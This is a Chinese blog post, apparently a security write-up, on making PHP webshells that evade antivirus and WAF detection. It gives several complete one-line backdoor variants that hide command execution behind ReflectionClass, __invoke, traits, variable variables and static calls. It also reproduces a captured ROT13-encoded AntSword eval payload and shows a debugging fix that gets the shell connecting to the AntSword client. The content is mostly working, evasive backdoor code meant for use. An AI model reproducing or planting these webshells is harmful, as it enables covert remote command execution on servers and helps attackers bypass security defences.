继上一篇Webshell免杀已经过去很久了,之前的工作只是完成了落地免杀和命令的执行,如果我们直接传参进行命令执行的话会很容易被WAF拦截。蚁剑有编码器这一功能可以方便我们绕过WAF的检测。
后来一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。
上一篇只是提到了php中大家比较少用的tricks,所以这一次分享几个之前总结的一些成果。
<?php class Test1 { public function __construct($para, $_value) { $para($_value); } } $class1 = new ReflectionClass("Test1"); foreach (array('_POST') as $_r1) { foreach ($$_r1 as $_asadasd=>$_wfwefb) { $$_asadasd =$_wfwefb; } } $class2 = $class1->newInstance($_asadasd, $$_asadasd);
我们首先初始化一个反射类,传入要实例化类的类名,接下来用newInstance()
方法对该类进行实例化。
函数
,另一个是函数的参数
,这里借用@郑瀚AndrewHann
师傅的污点传递理论$para=assert
时,构造函数内变为assert($_value)
。函数的参数即我们要执行的命令。$_GET[]、$_POST[]、$_COOKIE[]...
数组无法直接使用。我们依然利用PHP的动态特性,使webshell不出现$_GET[]、$_POST[]、$_COOKIE[]...
。当程序执行到第二个foreach循环之前。我们的输入并没有参数来接收,直到我们使用可变变量变
出了$_POST[]
,并将其键值进一步操作后传入newInstance
函数。上面这个webshell依然可以进行变形。
<?php class Test1 { private $para1 = ''; private $para2 = ''; public function __invoke($para1, $para2) { $para1($para2); } public function __construct($para1, $para2) { $this($para1, $para2); } } $class1 = new ReflectionClass("Test1"); foreach (array('_POST') as $_r1) { foreach ($$_r1 as $_asadasd=>$_wfwefb) { $$_asadasd =$_wfwefb; } } $class2 = $class1->newInstance($_asadasd, $$_asadasd);
__invoke
:当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。$this($p1,$p2)
,接着会调用__invoke()
函数实现命令执行。php从以前到现在一直都是单继承的语言,无法同时从两个基类中继承属性和方法,为了解决这个问题,php出了Trait
这个特性
use
关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化<?php trait Dog { public $name="dog"; public function drive() { echo "This is dog drive"; } public function eat($a, $b) { $a($b); } } class Animal { public function drive() { echo "This is animal drive"; } public function eat() { echo "This is animal eat"; } } class Cat extends Animal { use Dog; public function drive() { echo "This is cat drive"; } } foreach (array('_POST') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $cat = new Cat(); $cat->eat($_key, $_value);
键
、值
分别传入。函数调用则使用PHP 7中的trait
特性,最终实现可变函数的执行<?php class SimpleThis { public function NonStatic($p1, $p2) { if (isset($this)) { echo '6'; } else { $p1($p2); } } } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } SimpleThis::NonStatic($_key, $_value);
在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。但是PHP是个解释函数。至于原理:这里直接附上鸟哥的文章
将蚁剑挂上burpsuite。上传我们的一句话木马进行连接。
assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));)
,接着&ca3a283bf3d534=xxxx
为我们的第二个POST参数Call to undefined function ca3a283bf3d534()
这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行assert()
,达到预期的结果。
实际上我们需要的是第一个POST参数即我们传入的assert。所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。
以第一个webshell为例:
<?php $s0; $s1; class Test1 { public function __construct($para, $_value) { $para($_value); } } $class1 = new ReflectionClass("Test1"); print_r($class1); foreach (array('_POST') as $_request) { foreach ($$_request as $_key=>$_value) { for ($i=0;$i<1;$i++) { ${"s".$i} = $_key; } break; } } $class2 = $class1->newInstance($s0, $_value);
我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。
success!